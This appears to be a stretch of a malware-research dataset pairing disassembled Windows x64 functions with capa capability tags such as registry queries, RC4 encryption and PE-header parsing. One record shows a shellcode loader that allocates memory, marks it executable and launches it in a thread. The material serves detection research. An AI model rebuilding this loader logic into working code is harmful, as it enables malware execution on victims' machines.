joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400050bc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x80
cmp qword [rdx + 8], 0xffffffffffffffff
mov r14, r8
mov rbx, rdx
mov esi, ecx
je 0x14000520c
cmp qword [rdx], 0xffffffffffffffff
je 0x14000520c
mov rdx, qword [rdx + 0x10]
xor r8d, r8d
call fcn.140016754
test rax, rax
js 0x14000520c
mov rcx, qword [rbx + 8]
inc rcx
call fcn.14000f884
mov rdi, rax
test rax, rax
je 0x14000520c
mov r8d, dword [rbx + 8]
mov rdx, rax
mov ecx, esi
call fcn.140019e24
movsxd rcx, eax
mov rax, qword [rbx + 8]
cmp rcx, rax
jne 0x140005204
cmp dword [rbx + 0x18], 0
jne 0x140005159
mov byte [rax + rdi], 0
test r14, r14
je 0x140005151
mov eax, dword [rbx + 8]
mov dword [r14], eax
mov rax, rdi
jmp 0x14000520e
cmp dword [rbx + 0x18], 8
jne 0x140005204
and qword [rsp + 0x50], 0
lea r8, str.1.2.13
and qword [rsp + 0x58], 0
lea rcx, [rsp + 0x20]
and qword [rsp + 0x60], 0
mov r9d, 0x58
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], eax
lea edx, [r9 - 0x67]
call fcn.14000946c
test eax, eax
js 0x140005204
mov rcx, qword [rbx]
inc rcx
call fcn.14000f884
mov rsi, rax
test rax, rax
je 0x140005204
mov ecx, dword [rbx]
mov edx, 1
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
call fcn.140007e00
mov rcx, rdi
test eax, eax
jns 0x1400051db
call fcn.14000f870
mov rcx, rsi
jmp 0x140005207
mov rax, qword [rbx]
mov byte [rsi + rax], 0
call fcn.14000f870
lea rcx, [rsp + 0x20]
call fcn.140009414
test eax, eax
js 0x1400051d6
test r14, r14
je 0x1400051ff
mov eax, dword [rbx]
mov dword [r14], eax
mov rax, rsi
jmp 0x14000520e
mov rcx, rdi
call fcn.14000f870
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
Function at 0x1400054b4
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov rsi, r8
mov qword [rsp + 0x28], rax
mov r9, r8
mov dword [rsp + 0x20], 0x10000
mov rbp, rcx
mov r8, rcx
xor ecx, ecx
mov rdi, rdx
call fcn.140016cbc
mov rbx, rax
test rax, rax
jne 0x14000551b
lea rax, [rsp + 0x30]
mov r9, rsi
mov qword [rsp + 0x28], rax
mov r8, rbp
and dword [rsp + 0x20], ebx
mov edx, edi
xor ecx, ecx
call fcn.140016cbc
mov rbx, rax
cmp dword [0x14003a040], 0
je 0x1400055d2
lea rcx, str.J2D_D3D
call fcn.14000f60c
test rax, rax
je 0x140005552
lea rdx, str.false
mov rcx, rax
call fcn.1400189e4
neg eax
sbb ecx, ecx
and dword [0x14003a040], ecx
lea rcx, str.J2D_D3D_PRELOAD
call fcn.14000f60c
mov rdi, rax
test rax, rax
je 0x140005587
lea rdx, str.false
mov rcx, rax
call fcn.1400189e4
neg eax
sbb ecx, ecx
and ecx, dword [0x14003a040]
mov dword [0x14003a040], ecx
jmp 0x14000558d
mov ecx, dword [0x14003a040]
test ecx, ecx
jns 0x1400055c4
and dword [0x14003a040], 0
test rdi, rdi
je 0x1400055d2
lea rdx, str.true
mov rcx, rdi
call fcn.1400189e4
mov ecx, dword [0x14003a040]
test eax, eax
mov edx, 1
cmove ecx, edx
mov dword [0x14003a040], ecx
test ecx, ecx
je 0x1400055d2
lea rcx, str.preloadD3D
call fcn.14000533c
test rbx, rbx
je 0x1400055fc
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005605
mov rcx, rsi
call rbp
mov dword [rsp + 0x68], eax
cmp dword [0x14003ad48], 0
je 0x14000561c
mov rax, qword [0x14003ad70]
test rax, rax
je 0x14000561c
call rax
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140006560
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x40
lea rax, [r11 - 0x18]
mov ebx, r9d
mov rbp, r8
mov qword [r11 - 0x20], rax
and qword [r11 - 0x28], 0
lea r9, [r11 - 0x14]
xor r8d, r8d
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400065d3
cmp dword [rsp + 0x34], 1
jne 0x1400065d3
cmp dword [rsp + 0x30], ebx
jae 0x1400065d3
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
sete al
jmp 0x1400065d5
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140006cc4
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x14003a060]
xor rax, rsp
mov qword [rbp + 0x70], rax
and qword [rsp + 0x38], 0
mov r15, rcx
movdqa xmm0, xmmword [0x14002aea0]
xor edi, edi
movdqu xmmword [rsp + 0x48], xmm0
mov rcx, qword [rsp + rdi*8 + 0x48]
lea rax, [rsp + 0x38]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareJavaSoftJava_Runtime_Environment
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140006e5d
mov r14, qword [rsp + 0x38]
lea r8, [rsp + 0x60]
mov rcx, r14
mov r9d, 0x104
xor edx, edx
xor esi, esi
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x140006e5d
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x60]
inc esi
call fcn.14000713c
test eax, eax
je 0x140006d9e
test rbx, rbx
je 0x140006d91
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140007254
test eax, eax
jle 0x140006d9e
mov rcx, rbx
call fcn.1400011e4
lea rcx, [rsp + 0x60]
call fcn.14000127c
mov rbx, rax
mov r9d, 0x104
lea r8, [rsp + 0x60]
mov edx, esi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x140006d5f
test rbx, rbx
je 0x140006e5d
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, rbx
test eax, eax
je 0x140006dfe
call fcn.1400011e4
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140006e5d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140006e5d
call fcn.1400011e4
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rdx, str.JavaHome
lea rax, [rsp + 0x60]
mov dword [rsp + 0x40], 0x104
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x140006df1
test rcx, rcx
je 0x140006e4b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x60]
call fcn.14000127c
mov rbx, rax
test rax, rax
jne 0x140006ea5
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140006e6d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc rdi
cmp rdi, 1
jle 0x140006d0b
xor eax, eax
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000ac60
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140006eb5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
jmp 0x140006e7c
Function at 0x140007a9c
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12, rcx
mov ebx, 0x10
mov ecx, ebx
call fcn.1400011b8
lea ecx, [rbx + 0x70]
mov rsi, rax
mov dword [rax + 0xc], ebx
call fcn.1400011b8
and dword [rsi + 8], 0
mov ecx, ebx
mov qword [rsi], rax
call fcn.1400011b8
lea rdx, [0x14003ad80]
mov rcx, r12
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
jne 0x140007b13
mov rcx, r14
call fcn.1400011e4
mov rcx, rsi
call fcn.1400077dc
xor eax, eax
jmp 0x140007c4b
lea r13, [0x14003adac]
mov qword [r14], rax
mov qword [r14 + 8], r13
mov rbp, qword [r14 + 8]
test rbp, rbp
je 0x140007b31
and qword [r14 + 8], 0
jmp 0x140007b4f
mov rcx, qword [r14]
lea rdx, [0x14003ad80]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
neg eax
sbb rbp, rbp
and rbp, r13
je 0x140007c2e
mov rcx, rbp
call fcn.14000f730
cmp eax, 4
jl 0x140007b21
movsxd rcx, eax
cmp byte [rcx + rbp - 4], 0x2e
jne 0x140007b21
lea rbx, [rcx + rbp]
lea rcx, [rbx - 3]
lea rdx, [0x14002aec0]
call fcn.1400157e0
test eax, eax
je 0x140007b92
lea rdx, [0x14002aec4]
lea rcx, [rbx - 3]
call fcn.1400157e0
test eax, eax
jne 0x140007b21
mov edx, 0x3b
mov rcx, rbp
call fcn.14000bfb8
test rax, rax
jne 0x140007b21
mov rcx, r12
call fcn.14000f730
mov rcx, rbp
mov rdi, rax
call fcn.14000f730
mov rbx, rax
lea ecx, [rax + rdi]
movsxd rcx, ecx
call fcn.1400011b8
lea ecx, [rdi - 1]
mov rdx, r12
movsxd r8, ecx
mov r15, rax
mov rcx, rax
call fcn.14000b4a0
lea ecx, [rbx + 1]
mov rdx, rbp
movsxd r8, ecx
movsxd rcx, edi
dec rcx
add rcx, r15
call fcn.14000b4a0
mov ecx, dword [rsi + 8]
mov eax, dword [rsi + 0xc]
inc ecx
cmp eax, ecx
jge 0x140007c1b
add eax, eax
cmp eax, ecx
jl 0x140007c00
mov rcx, qword [rsi]
movsxd rdx, eax
shl rdx, 3
mov dword [rsi + 0xc], eax
call fcn.1400011ec
mov qword [rsi], rax
movsxd rcx, dword [rsi + 8]
mov rax, qword [rsi]
mov qword [rax + rcx*8], r15
inc dword [rsi + 8]
jmp 0x140007b21
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [r14 + 8]
call fcn.1400011e4
mov rcx, r14
call fcn.1400011e4
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000b174
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b1be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b1be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b1be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b1be
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b1be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b1c0
xor al, al
add rsp, 0x28
ret

Function at 0x14000fb70
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000fa03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fa03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fa03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fa03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fa03
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fa03
cmp dword [rcx + 0xf8], 0
je 0x14000fa03
mov ecx, ebx
call fcn.14000faa4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f894
cmp dword [rbp + 0x20], 0
je 0x14000fa50
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fa58
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f99c
Function at 0x1400010b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x138
mov rax, qword [0x1400205c8]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov dword [rsp], 0
jmp 0x1400010ee
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x140001105
movsxd rax, dword [rsp]
movzx ecx, byte [rsp]
mov byte [rsp + rax + 0x20], cl
jmp 0x1400010e6
mov dword [rsp + 4], 0
mov eax, dword [rsp + 4]
mov dword [rsp], eax
jmp 0x14000111e
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
cmp dword [rsp], 0x100
jge 0x1400011a5
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov ecx, dword [rsp + 4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp]
cdq
idiv dword [rsp + 0x158]
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x148]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x10]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 4], eax
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov byte [rsp + 8], al
movsxd rax, dword [rsp + 4]
movsxd rcx, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov byte [rsp + rcx + 0x20], al
movsxd rax, dword [rsp + 4]
movzx ecx, byte [rsp + 8]
mov byte [rsp + rax + 0x20], cl
jmp 0x140001116
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 0xc]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
mov dword [rsp], eax
jmp 0x1400011c8
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x150]
cmp dword [rsp + 0xc], eax
jge 0x1400012a5
mov eax, dword [rsp]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp], eax
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov ecx, dword [rsp + 4]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 4], eax
movsxd rax, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov byte [rsp + 9], al
movsxd rax, dword [rsp + 4]
movsxd rcx, dword [rsp]
movzx eax, byte [rsp + rax + 0x20]
mov byte [rsp + rcx + 0x20], al
movsxd rax, dword [rsp + 4]
movzx ecx, byte [rsp + 9]
mov byte [rsp + rax + 0x20], cl
movsxd rax, dword [rsp + 0xc]
mov qword [rsp + 0x18], rax
movsxd rcx, dword [rsp]
movzx ecx, byte [rsp + rcx + 0x20]
movsxd rdx, dword [rsp + 4]
movzx edx, byte [rsp + rdx + 0x20]
add ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
movzx eax, byte [rsp + rax + 0x20]
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x18]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xc]
mov rdx, qword [rsp + 0x140]
mov byte [rdx + rcx], al
jmp 0x1400011be
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140001660
add rsp, 0x138
ret
Function at 0x140001380
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x58
movsxd rax, dword [0x140020434]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400013c5
lea rcx, str.____failed_to_allocate_shellcode_memory_n
call fcn.140001570
mov ecx, 1
call fcn.140005498
mov rdx, qword [rsp + 0x40]
lea rcx, str.___allocated_shellcode_memory_at:__p_n
call fcn.140001570
movsxd rax, dword [0x140020434]
mov r8, rax
lea rdx, section..data
mov rcx, qword [rsp + 0x40]
call fcn.1400012d0
lea rcx, str.___shellcode_is_written_to_the_allocated_memory_n
call fcn.140001570
movsxd rax, dword [0x140020434]
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x14000143e
lea rcx, str.____failed_to_change_the_memory_protection_from_RW_to_RX_n
call fcn.140001570
mov ecx, 1
call fcn.140005498
lea rcx, str.___changed_memory_protection_from_RW_to_RX_n
call fcn.140001570
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001499
lea rcx, str.____failed_to_create_thread_for_shellcode_execution_n
call fcn.140001570
mov ecx, 1
call fcn.140005498
mov edx, dword [rsp + 0x30]
lea rcx, str.___created_thread_with_id__ld_to_execute_shellcode_n
call fcn.140001570
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x58
ret

Function at 0x140005498
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005303
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005303
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005303
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005303
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005303
cmp dword [rcx + 0x84], 0xe
jbe 0x140005303
cmp dword [rcx + 0xf8], 0
je 0x140005303
mov ecx, ebx
call fcn.1400053b4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005190
nop
cmp dword [rbp + 0x20], 0
je 0x140005351
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000535c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005294
Function at 0x14000d6a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d6d8
xor eax, eax
jmp 0x14000d79b
mov rbp, rbx
cmp word [rax], si
je 0x14000d6fd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d6e4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d6e0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d5c8
movsxd r14, eax
test eax, eax
jne 0x14000d73b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d6d1
mov rcx, r14
call fcn.14000a534
mov rdi, rax
test rax, rax
jne 0x14000d754
xor ecx, ecx
call fcn.1400098bc
jmp 0x14000d730
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d5c8
test eax, eax
jne 0x14000d785
mov rcx, rdi
call fcn.1400098bc
jmp 0x14000d78f
xor ecx, ecx
call fcn.1400098bc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001199c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400119b2
mov al, 1
jmp 0x140011a12
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400119c3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011a10
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000deac
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011a10
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011a10
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011a10
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011a12
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140012a50
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c698
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012ada
cmp byte [rbp - 0x21], r15b
je 0x140012ad5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012b10
call fcn.140009b0c
test eax, eax
jne 0x140012afc
cmp byte [rbp - 0x21], r15b
je 0x140012af4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012b10
cmp byte [rbp - 0x21], r15b
je 0x140012b0d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000bc78
test eax, eax
jne 0x140012bb0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c698
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012b4f
cmp byte [rbp - 0x21], r15b
je 0x140012b84
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012b84
call fcn.140009b0c
test eax, eax
jne 0x140012b70
cmp byte [rbp - 0x21], r15b
je 0x140012b69
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012b84
cmp byte [rbp - 0x21], r15b
je 0x140012b81
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000bc78
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012bb0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012bb3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012bc1
mov rcx, rdi
call fcn.1400098bc
cmp byte [rbp + 0x3f], r15b
je 0x140012bd0
mov rcx, qword [rbp + 0x27]
call fcn.1400098bc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140004da4
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov esi, edx
xor edx, edx
mov r8d, 0xf0
mov rbx, rcx
call fcn.140020800
xor r11d, r11d
mov qword [rbx + 0x110], r11
mov byte [rbx + 0x118], r11b
mov rcx, qword [rbx + 0xf8]
lea rax, [0x14002da50]
mov eax, dword [r11 + rax]
mov dword [r11 + rcx], eax
add r11, 4
cmp r11, 0x20
jl 0x140004dd9
mov rax, qword [rbx + 0xf8]
bts edi, 0xd
xor dword [rax], 0x2080020
mov rax, qword [rbx + 0xf8]
shl edi, 0x10
xor dword [rax + 8], esi
mov rax, qword [rbx + 0xf8]
mov rbx, qword [rsp + 0x30]
xor dword [rax + 0xc], edi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret